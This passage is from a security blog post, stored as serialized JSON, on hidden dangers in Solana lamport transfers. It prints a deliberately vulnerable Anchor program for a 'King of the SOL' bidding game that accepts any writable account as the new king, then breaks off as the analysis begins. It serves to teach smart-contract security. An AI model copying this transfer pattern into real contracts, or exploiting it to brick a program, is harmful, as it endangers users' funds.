,"isFeatured":16,"tags":77984,"onBlogPage":16,"body":77985,"_type":10599,"_id":82639,"_source":10601,"_file":82640,"_stem":82641,"_extension":10604},"/blog/2025-05-14-king-of-the-sol","Solana: The hidden dangers of lamport transfers","Solana’s lamport transfer logic hides dangerous edge cases — from rent-exemption quirks to write-demotion traps. We dissect a deceptively simple smart contract game to expose how transfers to arbitrary accounts can silently fail, brick your program, or crown an eternal king.",{"src":77982,"height":21324,"width":21324},"/posts/king-of-the-sol/king-of-the-sol.png","2025-05-14",[10616],{"type":21,"children":77986,"toc":82628},[77987,77991,77996,78010,78016,78021,78051,78056,78061,79099,79104,79112,79117,79123,79129,79141,79174,79186,79199,79211,79656,79661,79707,79713,79718,79805,79810,79824,79837,80500,80505,80517,80523,80534,80546,80700,80714,80733,80754,80760,80765,81110,81115,81121,81140,81154,81776,81781,81801,81806,81811,81817,81829,81850,82025,82031,82036,82337,82358,82370,82382,82466,82486,82498,82504,82516,82522,82527,82550,82562,82568,82580,82585,82591,82596,82601,82619,82624],{"type":24,"tag":62,"props":77988,"children":77989},{"id":36692},[77990],{"type":29,"value":36695},{"type":24,"tag":25,"props":77992,"children":77993},{},[77994],{"type":29,"value":77995},"Is it safe to transfer lamports to an arbitrary address on Solana? The answer might surprise you.",{"type":24,"tag":25,"props":77997,"children":77998},{},[77999,78001,78008],{"type":29,"value":78000},"In this post, we explore a deceptively simple smart contract game inspired by ",{"type":24,"tag":32,"props":78002,"children":78005},{"href":78003,"rel":78004},"https://www.kingoftheether.com/thrones/kingoftheether/index.html",[36],[78006],{"type":29,"value":78007},"King of the Ether",{"type":29,"value":78009},". Through it, we’ll highlight subtle pitfalls in Solana’s account model that can brick your program — especially when it comes to transferring lamports.",{"type":24,"tag":62,"props":78011,"children":78013},{"id":78012},"the-game-king-of-the-sol",[78014],{"type":29,"value":78015},"The Game: King of the SOL",{"type":24,"tag":25,"props":78017,"children":78018},{},[78019],{"type":29,"value":78020},"The game works like this:",{"type":24,"tag":97,"props":78022,"children":78023},{},[78024,78036,78041,78046],{"type":24,"tag":101,"props":78025,"children":78026},{},[78027,78029,78034],{"type":29,"value":78028},"Anyone can become the ",{"type":24,"tag":213,"props":78030,"children":78031},{},[78032],{"type":29,"value":78033},"king",{"type":29,"value":78035}," by bidding at least 2× the previous bid.",{"type":24,"tag":101,"props":78037,"children":78038},{},[78039],{"type":29,"value":78040},"The old king is reimbursed 95% of their bid.",{"type":24,"tag":101,"props":78042,"children":78043},{},[78044],{"type":29,"value":78045},"The remaining 5% goes into a prize pot.",{"type":24,"tag":101,"props":78047,"children":78048},{},[78049],{"type":29,"value":78050},"If the reigning king survives for 10 days without being dethroned, they can claim the entire pot.",{"type":24,"tag":25,"props":78052,"children":78053},{},[78054],{"type":29,"value":78055},"Simple, right?",{"type":24,"tag":25,"props":78057,"children":78058},{},[78059],{"type":29,"value":78060},"This is the core logic:",{"type":24,"tag":261,"props":78062,"children":78064},{"className":10718,"code":78063,"language":10717,"meta":7,"style":7},"#[derive(Accounts)]\npub struct ChangeKing\u003C'info> {\n #[account(mut)]\n pub throne: Account\u003C'info, Throne>,\n\n /// CHECK: old_king gets a 95% refund, so ensure its writable.\n #[account(mut, constraint = old_king.key() == throne.king)]\n pub old_king: AccountInfo\u003C'info>,\n\n /// CHECK: any writable account is allowed as a new king.\n #[account(mut)]\n pub new_king: AccountInfo\u003C'info>,\n\n #[account(mut)]\n pub payer: Signer\u003C'info>,\n}\n\n#[program]\npub mod king_of_the_sol {\n pub fn change_king(ctx: Context\u003CChangeKing>, bid_amount: u64) -> Result\u003C()> {\n // Check that bid_amount is at least 2x last_bid_amount\n assert!(bid_amount >= ctx.accounts.throne.last_bid_amount * 2);\n transfer_from_signer(\n &ctx.accounts.payer,\n &ctx.accounts.throne.to_account_info(),\n bid_amount,\n )?;\n\n // Reimburse 95% of the last bid to the old king\n let to_reimburse = (ctx.accounts.throne.last_bid_amount * 9500) / 10000;\n transfer_from_pda(\n &ctx.accounts.throne.to_account_info(),\n &ctx.accounts.old_king,\n to_reimburse,\n )?;\n\n // Set new king\n ctx.accounts.throne.king = ctx.accounts.new_king.key();\n ctx.accounts.throne.last_bid_amount = bid_amount;\n ctx.accounts.throne.last_time = Clock::get()?.unix_timestamp as u64;\n\n Ok(())\n }\n}\n",[78065],{"type":24,"tag":135,"props":78066,"children":78067},{"__ignoreMap":7},[78068,78083,78111,78126,78167,78174,78182,78233,78264,78271,78279,78294,78326,78333,78348,78379,78386,78393,78401,78418,78492,78500,78561,78573,78601,78641,78653,78669,78676,78684,78758,78770,78809,78837,78849,78864,78871,78879,78949,78993,79067,79074,79085,79092],{"type":24,"tag":271,"props":78069,"children":78070},{"class":273,"line":274},[78071,78075,78079],{"type":24,"tag":271,"props":78072,"children":78073},{"style":288},[78074],{"type":29,"value":30523},{"type":24,"tag":271,"props":78076,"children":78077},{"style":3887},[78078],{"type":29,"value":30528},{"type":24,"tag":271,"props":78080,"children":78081},{"style":288},[78082],{"type":29,"value":27947},{"type":24,"tag":271,"props":78084,"children":78085},{"class":273,"line":284},[78086,78090,78094,78099,78103,78107],{"type":24,"tag":271,"props":78087,"children":78088},{"style":278},[78089],{"type":29,"value":21391},{"type":24,"tag":271,"props":78091,"children":78092},{"style":278},[78093],{"type":29,"value":616},{"type":24,"tag":271,"props":78095,"children":78096},{"style":3887},[78097],{"type":29,"value":78098}," ChangeKing",{"type":24,"tag":271,"props":78100,"children":78101},{"style":288},[78102],{"type":29,"value":30608},{"type":24,"tag":271,"props":78104,"children":78105},{"style":3887},[78106],{"type":29,"value":30613},{"type":24,"tag":271,"props":78108,"children":78109},{"style":288},[78110],{"type":29,"value":14997},{"type":24,"tag":271,"props":78112,"children":78113},{"class":273,"line":294},[78114,78118,78122],{"type":24,"tag":271,"props":78115,"children":78116},{"style":288},[78117],{"type":29,"value":30814},{"type":24,"tag":271,"props":78119,"children":78120},{"style":278},[78121],{"type":29,"value":11448},{"type":24,"tag":271,"props":78123,"children":78124},{"style":288},[78125],{"type":29,"value":27947},{"type":24,"tag":271,"props":78127,"children":78128},{"class":273,"line":303},[78129,78133,78138,78142,78146,78150,78154,78158,78163],{"type":24,"tag":271,"props":78130,"children":78131},{"style":278},[78132],{"type":29,"value":28530},{"type":24,"tag":271,"props":78134,"children":78135},{"style":630},[78136],{"type":29,"value":78137}," throne",{"type":24,"tag":271,"props":78139,"children":78140},{"style":624},[78141],{"type":29,"value":12210},{"type":24,"tag":271,"props":78143,"children":78144},{"style":3887},[78145],{"type":29,"value":30779},{"type":24,"tag":271,"props":78147,"children":78148},{"style":288},[78149],{"type":29,"value":30608},{"type":24,"tag":271,"props":78151,"children":78152},{"style":3887},[78153],{"type":29,"value":30613},{"type":24,"tag":271,"props":78155,"children":78156},{"style":288},[78157],{"type":29,"value":158},{"type":24,"tag":271,"props":78159,"children":78160},{"style":3887},[78161],{"type":29,"value":78162},"Throne",{"type":24,"tag":271,"props":78164,"children":78165},{"style":288},[78166],{"type":29,"value":13855},{"type":24,"tag":271,"props":78168,"children":78169},{"class":273,"line":312},[78170],{"type":24,"tag":271,"props":78171,"children":78172},{"emptyLinePlaceholder":16},[78173],{"type":29,"value":327},{"type":24,"tag":271,"props":78175,"children":78176},{"class":273,"line":321},[78177],{"type":24,"tag":271,"props":78178,"children":78179},{"style":2058},[78180],{"type":29,"value":78181}," /// CHECK: old_king gets a 95% refund, so ensure its writable.\n",{"type":24,"tag":271,"props":78183,"children":78184},{"class":273,"line":330},[78185,78189,78193,78198,78202,78207,78211,78216,78220,78224,78228],{"type":24,"tag":271,"props":78186,"children":78187},{"style":288},[78188],{"type":29,"value":30814},{"type":24,"tag":271,"props":78190,"children":78191},{"style":278},[78192],{"type":29,"value":11448},{"type":24,"tag":271,"props":78194,"children":78195},{"style":288},[78196],{"type":29,"value":78197},", constraint ",{"type":24,"tag":271,"props":78199,"children":78200},{"style":624},[78201],{"type":29,"value":762},{"type":24,"tag":271,"props":78203,"children":78204},{"style":288},[78205],{"type":29,"value":78206}," old_king",{"type":24,"tag":271,"props":78208,"children":78209},{"style":624},[78210],{"type":29,"value":41},{"type":24,"tag":271,"props":78212,"children":78213},{"style":288},[78214],{"type":29,"value":78215},"key() ",{"type":24,"tag":271,"props":78217,"children":78218},{"style":624},[78219],{"type":29,"value":5059},{"type":24,"tag":271,"props":78221,"children":78222},{"style":288},[78223],{"type":29,"value":78137},{"type":24,"tag":271,"props":78225,"children":78226},{"style":624},[78227],{"type":29,"value":41},{"type":24,"tag":271,"props":78229,"children":78230},{"style":288},[78231],{"type":29,"value":78232},"king)]\n",{"type":24,"tag":271,"props":78234,"children":78235},{"class":273,"line":339},[78236,78240,78244,78248,78252,78256,78260],{"type":24,"tag":271,"props":78237,"children":78238},{"style":278},[78239],{"type":29,"value":28530},{"type":24,"tag":271,"props":78241,"children":78242},{"style":630},[78243],{"type":29,"value":78206},{"type":24,"tag":271,"props":78245,"children":78246},{"style":624},[78247],{"type":29,"value":12210},{"type":24,"tag":271,"props":78249,"children":78250},{"style":3887},[78251],{"type":29,"value":33074},{"type":24,"tag":271,"props":78253,"children":78254},{"style":288},[78255],{"type":29,"value":30608},{"type":24,"tag":271,"props":78257,"children":78258},{"style":3887},[78259],{"type":29,"value":30613},{"type":24,"tag":271,"props":78261,"children":78262},{"style":288},[78263],{"type":29,"value":13855},{"type":24,"tag":271,"props":78265,"children":78266},{"class":273,"line":347},[78267],{"type":24,"tag":271,"props":78268,"children":78269},{"emptyLinePlaceholder":16},[78270],{"type":29,"value":327},{"type":24,"tag":271,"props":78272,"children":78273},{"class":273,"line":356},[78274],{"type":24,"tag":271,"props":78275,"children":78276},{"style":2058},[78277],{"type":29,"value":78278}," /// CHECK: any writable account is allowed as a new king.\n",{"type":24,"tag":271,"props":78280,"children":78281},{"class":273,"line":365},[78282,78286,78290],{"type":24,"tag":271,"props":78283,"children":78284},{"style":288},[78285],{"type":29,"value":30814},{"type":24,"tag":271,"props":78287,"children":78288},{"style":278},[78289],{"type":29,"value":11448},{"type":24,"tag":271,"props":78291,"children":78292},{"style":288},[78293],{"type":29,"value":27947},{"type":24,"tag":271,"props":78295,"children":78296},{"class":273,"line":374},[78297,78301,78306,78310,78314,78318,78322],{"type":24,"tag":271,"props":78298,"children":78299},{"style":278},[78300],{"type":29,"value":28530},{"type":24,"tag":271,"props":78302,"children":78303},{"style":630},[78304],{"type":29,"value":78305}," new_king",{"type":24,"tag":271,"props":78307,"children":78308},{"style":624},[78309],{"type":29,"value":12210},{"type":24,"tag":271,"props":78311,"children":78312},{"style":3887},[78313],{"type":29,"value":33074},{"type":24,"tag":271,"props":78315,"children":78316},{"style":288},[78317],{"type":29,"value":30608},{"type":24,"tag":271,"props":78319,"children":78320},{"style":3887},[78321],{"type":29,"value":30613},{"type":24,"tag":271,"props":78323,"children":78324},{"style":288},[78325],{"type":29,"value":13855},{"type":24,"tag":271,"props":78327,"children":78328},{"class":273,"line":384},[78329],{"type":24,"tag":271,"props":78330,"children":78331},{"emptyLinePlaceholder":16},[78332],{"type":29,"value":327},{"type":24,"tag":271,"props":78334,"children":78335},{"class":273,"line":393},[78336,78340,78344],{"type":24,"tag":271,"props":78337,"children":78338},{"style":288},[78339],{"type":29,"value":30814},{"type":24,"tag":271,"props":78341,"children":78342},{"style":278},[78343],{"type":29,"value":11448},{"type":24,"tag":271,"props":78345,"children":78346},{"style":288},[78347],{"type":29,"value":27947},{"type":24,"tag":271,"props":78349,"children":78350},{"class":273,"line":402},[78351,78355,78359,78363,78367,78371,78375],{"type":24,"tag":271,"props":78352,"children":78353},{"style":278},[78354],{"type":29,"value":28530},{"type":24,"tag":271,"props":78356,"children":78357},{"style":630},[78358],{"type":29,"value":49906},{"type":24,"tag":271,"props":78360,"children":78361},{"style":624},[78362],{"type":29,"value":12210},{"type":24,"tag":271,"props":78364,"children":78365},{"style":3887},[78366],{"type":29,"value":30843},{"type":24,"tag":271,"props":78368,"children":78369},{"style":288},[78370],{"type":29,"value":30608},{"type":24,"tag":271,"props":78372,"children":78373},{"style":3887},[78374],{"type":29,"value":30613},{"type":24,"tag":271,"props":78376,"children":78377},{"style":288},[78378],{"type":29,"value":13855},{"type":24,"tag":271,"props":78380,"children":78381},{"class":273,"line":411},[78382],{"type":24,"tag":271,"props":78383,"children":78384},{"style":288},[78385],{"type":29,"value":1171},{"type":24,"tag":271,"props":78387,"children":78388},{"class":273,"line":420},[78389],{"type":24,"tag":271,"props":78390,"children":78391},{"emptyLinePlaceholder":16},[78392],{"type":29,"value":327},{"type":24,"tag":271,"props":78394,"children":78395},{"class":273,"line":429},[78396],{"type":24,"tag":271,"props":78397,"children":78398},{"style":288},[78399],{"type":29,"value":78400},"#[program]\n",{"type":24,"tag":271,"props":78402,"children":78403},{"class":273,"line":438},[78404,78408,78413],{"type":24,"tag":271,"props":78405,"children":78406},{"style":278},[78407],{"type":29,"value":21391},{"type":24,"tag":271,"props":78409,"children":78410},{"style":278},[78411],{"type":29,"value":78412}," mod",{"type":24,"tag":271,"props":78414,"children":78415},{"style":288},[78416],{"type":29,"value":78417}," king_of_the_sol {\n",{"type":24,"tag":271,"props":78419,"children":78420},{"class":273,"line":447},[78421,78425,78429,78434,78438,78442,78446,78450,78454,78459,78463,78468,78472,78476,78480,78484,78488],{"type":24,"tag":271,"props":78422,"children":78423},{"style":278},[78424],{"type":29,"value":28530},{"type":24,"tag":271,"props":78426,"children":78427},{"style":278},[78428],{"type":29,"value":21396},{"type":24,"tag":271,"props":78430,"children":78431},{"style":598},[78432],{"type":29,"value":78433}," change_king",{"type":24,"tag":271,"props":78435,"children":78436},{"style":288},[78437],{"type":29,"value":606},{"type":24,"tag":271,"props":78439,"children":78440},{"style":630},[78441],{"type":29,"value":633},{"type":24,"tag":271,"props":78443,"children":78444},{"style":624},[78445],{"type":29,"value":12210},{"type":24,"tag":271,"props":78447,"children":78448},{"style":3887},[78449],{"type":29,"value":27977},{"type":24,"tag":271,"props":78451,"children":78452},{"style":288},[78453],{"type":29,"value":801},{"type":24,"tag":271,"props":78455,"children":78456},{"style":3887},[78457],{"type":29,"value":78458},"ChangeKing",{"type":24,"tag":271,"props":78460,"children":78461},{"style":288},[78462],{"type":29,"value":14347},{"type":24,"tag":271,"props":78464,"children":78465},{"style":630},[78466],{"type":29,"value":78467},"bid_amount",{"type":24,"tag":271,"props":78469,"children":78470},{"style":624},[78471],{"type":29,"value":12210},{"type":24,"tag":271,"props":78473,"children":78474},{"style":3887},[78475],{"type":29,"value":13576},{"type":24,"tag":271,"props":78477,"children":78478},{"style":288},[78479],{"type":29,"value":8823},{"type":24,"tag":271,"props":78481,"children":78482},{"style":624},[78483],{"type":29,"value":786},{"type":24,"tag":271,"props":78485,"children":78486},{"style":3887},[78487],{"type":29,"value":21462},{"type":24,"tag":271,"props":78489,"children":78490},{"style":288},[78491],{"type":29,"value":28019},{"type":24,"tag":271,"props":78493,"children":78494},{"class":273,"line":455},[78495],{"type":24,"tag":271,"props":78496,"children":78497},{"style":2058},[78498],{"type":29,"value":78499}," // Check that bid_amount is at least 2x last_bid_amount\n",{"type":24,"tag":271,"props":78501,"children":78502},{"class":273,"line":464},[78503,78507,78511,78515,78519,78523,78527,78531,78535,78540,78544,78549,78553,78557],{"type":24,"tag":271,"props":78504,"children":78505},{"style":598},[78506],{"type":29,"value":71234},{"type":24,"tag":271,"props":78508,"children":78509},{"style":288},[78510],{"type":29,"value":606},{"type":24,"tag":271,"props":78512,"children":78513},{"style":630},[78514],{"type":29,"value":78467},{"type":24,"tag":271,"props":78516,"children":78517},{"style":624},[78518],{"type":29,"value":16017},{"type":24,"tag":271,"props":78520,"children":78521},{"style":630},[78522],{"type":29,"value":33519},{"type":24,"tag":271,"props":78524,"children":78525},{"style":624},[78526],{"type":29,"value":41},{"type":24,"tag":271,"props":78528,"children":78529},{"style":288},[78530],{"type":29,"value":22373},{"type":24,"tag":271,"props":78532,"children":78533},{"style":624},[78534],{"type":29,"value":41},{"type":24,"tag":271,"props":78536,"children":78537},{"style":288},[78538],{"type":29,"value":78539},"throne",{"type":24,"tag":271,"props":78541,"children":78542},{"style":624},[78543],{"type":29,"value":41},{"type":24,"tag":271,"props":78545,"children":78546},{"style":288},[78547],{"type":29,"value":78548},"last_bid_amount ",{"type":24,"tag":271,"props":78550,"children":78551},{"style":624},[78552],{"type":29,"value":627},{"type":24,"tag":271,"props":78554,"children":78555},{"style":477},[78556],{"type":29,"value":4183},{"type":24,"tag":271,"props":78558,"children":78559},{"style":288},[78560],{"type":29,"value":1155},{"type":24,"tag":271,"props":78562,"children":78563},{"class":273,"line":473},[78564,78569],{"type":24,"tag":271,"props":78565,"children":78566},{"style":598},[78567],{"type":29,"value":78568}," transfer_from_signer",{"type":24,"tag":271,"props":78570,"children":78571},{"style":288},[78572],{"type":29,"value":4028},{"type":24,"tag":271,"props":78574,"children":78575},{"class":273,"line":483},[78576,78580,78584,78588,78592,78596],{"type":24,"tag":271,"props":78577,"children":78578},{"style":624},[78579],{"type":29,"value":15401},{"type":24,"tag":271,"props":78581,"children":78582},{"style":630},[78583],{"type":29,"value":633},{"type":24,"tag":271,"props":78585,"children":78586},{"style":624},[78587],{"type":29,"value":41},{"type":24,"tag":271,"props":78589,"children":78590},{"style":288},[78591],{"type":29,"value":22373},{"type":24,"tag":271,"props":78593,"children":78594},{"style":624},[78595],{"type":29,"value":41},{"type":24,"tag":271,"props":78597,"children":78598},{"style":288},[78599],{"type":29,"value":78600},"payer,\n",{"type":24,"tag":271,"props":78602,"children":78603},{"class":273,"line":491},[78604,78608,78612,78616,78620,78624,78628,78632,78637],{"type":24,"tag":271,"props":78605,"children":78606},{"style":624},[78607],{"type":29,"value":15401},{"type":24,"tag":271,"props":78609,"children":78610},{"style":630},[78611],{"type":29,"value":633},{"type":24,"tag":271,"props":78613,"children":78614},{"style":624},[78615],{"type":29,"value":41},{"type":24,"tag":271,"props":78617,"children":78618},{"style":288},[78619],{"type":29,"value":22373},{"type":24,"tag":271,"props":78621,"children":78622},{"style":624},[78623],{"type":29,"value":41},{"type":24,"tag":271,"props":78625,"children":78626},{"style":288},[78627],{"type":29,"value":78539},{"type":24,"tag":271,"props":78629,"children":78630},{"style":624},[78631],{"type":29,"value":41},{"type":24,"tag":271,"props":78633,"children":78634},{"style":598},[78635],{"type":29,"value":78636},"to_account_info",{"type":24,"tag":271,"props":78638,"children":78639},{"style":288},[78640],{"type":29,"value":11217},{"type":24,"tag":271,"props":78642,"children":78643},{"class":273,"line":499},[78644,78649],{"type":24,"tag":271,"props":78645,"children":78646},{"style":630},[78647],{"type":29,"value":78648}," bid_amount",{"type":24,"tag":271,"props":78650,"children":78651},{"style":288},[78652],{"type":29,"value":638},{"type":24,"tag":271,"props":78654,"children":78655},{"class":273,"line":3188},[78656,78661,78665],{"type":24,"tag":271,"props":78657,"children":78658},{"style":288},[78659],{"type":29,"value":78660}," )",{"type":24,"tag":271,"props":78662,"children":78663},{"style":624},[78664],{"type":29,"value":10887},{"type":24,"tag":271,"props":78666,"children":78667},{"style":288},[78668],{"type":29,"value":1069},{"type":24,"tag":271,"props":78670,"children":78671},{"class":273,"line":3247},[78672],{"type":24,"tag":271,"props":78673,"children":78674},{"emptyLinePlaceholder":16},[78675],{"type":29,"value":327},{"type":24,"tag":271,"props":78677,"children":78678},{"class":273,"line":3255},[78679],{"type":24,"tag":271,"props":78680,"children":78681},{"style":2058},[78682],{"type":29,"value":78683}," // Reimburse 95% of the last bid to the old king\n",{"type":24,"tag":271,"props":78685,"children":78686},{"class":273,"line":3263},[78687,78691,78696,78700,78704,78708,78712,78716,78720,78724,78728,78732,78736,78741,78745,78749,78754],{"type":24,"tag":271,"props":78688,"children":78689},{"style":278},[78690],{"type":29,"value":10800},{"type":24,"tag":271,"props":78692,"children":78693},{"style":630},[78694],{"type":29,"value":78695}," to_reimburse",{"type":24,"tag":271,"props":78697,"children":78698},{"style":624},[78699],{"type":29,"value":1712},{"type":24,"tag":271,"props":78701,"children":78702},{"style":288},[78703],{"type":29,"value":1357},{"type":24,"tag":271,"props":78705,"children":78706},{"style":630},[78707],{"type":29,"value":633},{"type":24,"tag":271,"props":78709,"children":78710},{"style":624},[78711],{"type":29,"value":41},{"type":24,"tag":271,"props":78713,"children":78714},{"style":288},[78715],{"type":29,"value":22373},{"type":24,"tag":271,"props":78717,"children":78718},{"style":624},[78719],{"type":29,"value":41},{"type":24,"tag":271,"props":78721,"children":78722},{"style":288},[78723],{"type":29,"value":78539},{"type":24,"tag":271,"props":78725,"children":78726},{"style":624},[78727],{"type":29,"value":41},{"type":24,"tag":271,"props":78729,"children":78730},{"style":288},[78731],{"type":29,"value":78548},{"type":24,"tag":271,"props":78733,"children":78734},{"style":624},[78735],{"type":29,"value":627},{"type":24,"tag":271,"props":78737,"children":78738},{"style":477},[78739],{"type":29,"value":78740}," 9500",{"type":24,"tag":271,"props":78742,"children":78743},{"style":288},[78744],{"type":29,"value":8823},{"type":24,"tag":271,"props":78746,"children":78747},{"style":624},[78748],{"type":29,"value":12298},{"type":24,"tag":271,"props":78750,"children":78751},{"style":477},[78752],{"type":29,"value":78753}," 10000",{"type":24,"tag":271,"props":78755,"children":78756},{"style":288},[78757],{"type":29,"value":1069},{"type":24,"tag":271,"props":78759,"children":78760},{"class":273,"line":3293},[78761,78766],{"type":24,"tag":271,"props":78762,"children":78763},{"style":598},[78764],{"type":29,"value":78765}," transfer_from_pda",{"type":24,"tag":271,"props":78767,"children":78768},{"style":288},[78769],{"type":29,"value":4028},{"type":24,"tag":271,"props":78771,"children":78772},{"class":273,"line":3301},[78773,78777,78781,78785,78789,78793,78797,78801,78805],{"type":24,"tag":271,"props":78774,"children":78775},{"style":624},[78776],{"type":29,"value":15401},{"type":24,"tag":271,"props":78778,"children":78779},{"style":630},[78780],{"type":29,"value":633},{"type":24,"tag":271,"props":78782,"children":78783},{"style":624},[78784],{"type":29,"value":41},{"type":24,"tag":271,"props":78786,"children":78787},{"style":288},[78788],{"type":29,"value":22373},{"type":24,"tag":271,"props":78790,"children":78791},{"style":624},[78792],{"type":29,"value":41},{"type":24,"tag":271,"props":78794,"children":78795},{"style":288},[78796],{"type":29,"value":78539},{"type":24,"tag":271,"props":78798,"children":78799},{"style":624},[78800],{"type":29,"value":41},{"type":24,"tag":271,"props":78802,"children":78803},{"style":598},[78804],{"type":29,"value":78636},{"type":24,"tag":271,"props":78806,"children":78807},{"style":288},[78808],{"type":29,"value":11217},{"type":24,"tag":271,"props":78810,"children":78811},{"class":273,"line":3683},[78812,78816,78820,78824,78828,78832],{"type":24,"tag":271,"props":78813,"children":78814},{"style":624},[78815],{"type":29,"value":15401},{"type":24,"tag":271,"props":78817,"children":78818},{"style":630},[78819],{"type":29,"value":633},{"type":24,"tag":271,"props":78821,"children":78822},{"style":624},[78823],{"type":29,"value":41},{"type":24,"tag":271,"props":78825,"children":78826},{"style":288},[78827],{"type":29,"value":22373},{"type":24,"tag":271,"props":78829,"children":78830},{"style":624},[78831],{"type":29,"value":41},{"type":24,"tag":271,"props":78833,"children":78834},{"style":288},[78835],{"type":29,"value":78836},"old_king,\n",{"type":24,"tag":271,"props":78838,"children":78839},{"class":273,"line":4486},[78840,78845],{"type":24,"tag":271,"props":78841,"children":78842},{"style":630},[78843],{"type":29,"value":78844}," to_reimburse",{"type":24,"tag":271,"props":78846,"children":78847},{"style":288},[78848],{"type":29,"value":638},{"type":24,"tag":271,"props":78850,"children":78851},{"class":273,"line":4509},[78852,78856,78860],{"type":24,"tag":271,"props":78853,"children":78854},{"style":288},[78855],{"type":29,"value":78660},{"type":24,"tag":271,"props":78857,"children":78858},{"style":624},[78859],{"type":29,"value":10887},{"type":24,"tag":271,"props":78861,"children":78862},{"style":288},[78863],{"type":29,"value":1069},{"type":24,"tag":271,"props":78865,"children":78866},{"class":273,"line":4545},[78867],{"type":24,"tag":271,"props":78868,"children":78869},{"emptyLinePlaceholder":16},[78870],{"type":29,"value":327},{"type":24,"tag":271,"props":78872,"children":78873},{"class":273,"line":4591},[78874],{"type":24,"tag":271,"props":78875,"children":78876},{"style":2058},[78877],{"type":29,"value":78878}," // Set new king\n",{"type":24,"tag":271,"props":78880,"children":78881},{"class":273,"line":4628},[78882,78886,78890,78894,78898,78902,78906,78911,78915,78919,78923,78927,78931,78936,78940,78945],{"type":24,"tag":271,"props":78883,"children":78884},{"style":630},[78885],{"type":29,"value":33862},{"type":24,"tag":271,"props":78887,"children":78888},{"style":624},[78889],{"type":29,"value":41},{"type":24,"tag":271,"props":78891,"children":78892},{"style":288},[78893],{"type":29,"value":22373},{"type":24,"tag":271,"props":78895,"children":78896},{"style":624},[78897],{"type":29,"value":41},{"type":24,"tag":271,"props":78899,"children":78900},{"style":288},[78901],{"type":29,"value":78539},{"type":24,"tag":271,"props":78903,"children":78904},{"style":624},[78905],{"type":29,"value":41},{"type":24,"tag":271,"props":78907,"children":78908},{"style":288},[78909],{"type":29,"value":78910},"king ",{"type":24,"tag":271,"props":78912,"children":78913},{"style":624},[78914],{"type":29,"value":762},{"type":24,"tag":271,"props":78916,"children":78917},{"style":630},[78918],{"type":29,"value":33519},{"type":24,"tag":271,"props":78920,"children":78921},{"style":624},[78922],{"type":29,"value":41},{"type":24,"tag":271,"props":78924,"children":78925},{"style":288},[78926],{"type":29,"value":22373},{"type":24,"tag":271,"props":78928,"children":78929},{"style":624},[78930],{"type":29,"value":41},{"type":24,"tag":271,"props":78932,"children":78933},{"style":288},[78934],{"type":29,"value":78935},"new_king",{"type":24,"tag":271,"props":78937,"children":78938},{"style":624},[78939],{"type":29,"value":41},{"type":24,"tag":271,"props":78941,"children":78942},{"style":598},[78943],{"type":29,"value":78944},"key",{"type":24,"tag":271,"props":78946,"children":78947},{"style":288},[78948],{"type":29,"value":4230},{"type":24,"tag":271,"props":78950,"children":78951},{"class":273,"line":4658},[78952,78956,78960,78964,78968,78972,78976,78980,78984,78989],{"type":24,"tag":271,"props":78953,"children":78954},{"style":630},[78955],{"type":29,"value":33862},{"type":24,"tag":271,"props":78957,"children":78958},{"style":624},[78959],{"type":29,"value":41},{"type":24,"tag":271,"props":78961,"children":78962},{"style":288},[78963],{"type":29,"value":22373},{"type":24,"tag":271,"props":78965,"children":78966},{"style":624},[78967],{"type":29,"value":41},{"type":24,"tag":271,"props":78969,"children":78970},{"style":288},[78971],{"type":29,"value":78539},{"type":24,"tag":271,"props":78973,"children":78974},{"style":624},[78975],{"type":29,"value":41},{"type":24,"tag":271,"props":78977,"children":78978},{"style":288},[78979],{"type":29,"value":78548},{"type":24,"tag":271,"props":78981,"children":78982},{"style":624},[78983],{"type":29,"value":762},{"type":24,"tag":271,"props":78985,"children":78986},{"style":630},[78987],{"type":29,"value":78988}," bid_amount",{"type":24,"tag":271,"props":78990,"children":78991},{"style":288},[78992],{"type":29,"value":1069},{"type":24,"tag":271,"props":78994,"children":78995},{"class":273,"line":4666},[78996,79000,79004,79008,79012,79016,79020,79025,79029,79034,79038,79042,79046,79050,79055,79059,79063],{"type":24,"tag":271,"props":78997,"children":78998},{"style":630},[78999],{"type":29,"value":33862},{"type":24,"tag":271,"props":79001,"children":79002},{"style":624},[79003],{"type":29,"value":41},{"type":24,"tag":271,"props":79005,"children":79006},{"style":288},[79007],{"type":29,"value":22373},{"type":24,"tag":271,"props":79009,"children":79010},{"style":624},[79011],{"type":29,"value":41},{"type":24,"tag":271,"props":79013,"children":79014},{"style":288},[79015],{"type":29,"value":78539},{"type":24,"tag":271,"props":79017,"children":79018},{"style":624},[79019],{"type":29,"value":41},{"type":24,"tag":271,"props":79021,"children":79022},{"style":288},[79023],{"type":29,"value":79024},"last_time ",{"type":24,"tag":271,"props":79026,"children":79027},{"style":624},[79028],{"type":29,"value":762},{"type":24,"tag":271,"props":79030,"children":79031},{"style":3887},[79032],{"type":29,"value":79033}," Clock",{"type":24,"tag":271,"props":79035,"children":79036},{"style":624},[79037],{"type":29,"value":11207},{"type":24,"tag":271,"props":79039,"children":79040},{"style":598},[79041],{"type":29,"value":24048},{"type":24,"tag":271,"props":79043,"children":79044},{"style":288},[79045],{"type":29,"value":21579},{"type":24,"tag":271,"props":79047,"children":79048},{"style":624},[79049],{"type":29,"value":10865},{"type":24,"tag":271,"props":79051,"children":79052},{"style":288},[79053],{"type":29,"value":79054},"unix_timestamp ",{"type":24,"tag":271,"props":79056,"children":79057},{"style":278},[79058],{"type":29,"value":16555},{"type":24,"tag":271,"props":79060,"children":79061},{"style":3887},[79062],{"type":29,"value":13576},{"type":24,"tag":271,"props":79064,"children":79065},{"style":288},[79066],{"type":29,"value":1069},{"type":24,"tag":271,"props":79068,"children":79069},{"class":273,"line":4674},[79070],{"type":24,"tag":271,"props":79071,"children":79072},{"emptyLinePlaceholder":16},[79073],{"type":29,"value":327},{"type":24,"tag":271,"props":79075,"children":79076},{"class":273,"line":4683},[79077,79081],{"type":24,"tag":271,"props":79078,"children":79079},{"style":3887},[79080],{"type":29,"value":22509},{"type":24,"tag":271,"props":79082,"children":79083},{"style":288},[79084],{"type":29,"value":22036},{"type":24,"tag":271,"props":79086,"children":79087},{"class":273,"line":4691},[79088],{"type":24,"tag":271,"props":79089,"children":79090},{"style":288},[79091],{"type":29,"value":4385},{"type":24,"tag":271,"props":79093,"children":79094},{"class":273,"line":4708},[79095],{"type":24,"tag":271,"props":79096,"children":79097},{"style":288},[79098],{"type":29,"value":1171},{"type":24,"tag":25,"props":79100,"children":79101},{},[79102],{"type":29,"value":79103},"Note this comment:",{"type":24,"tag":10670,"props":79105,"children":79106},{},[79107],{"type":24,"tag":25,"props":79108,"children":79109},{},[79110],{"type":29,"value":79111},"any writable account is allowed as a new 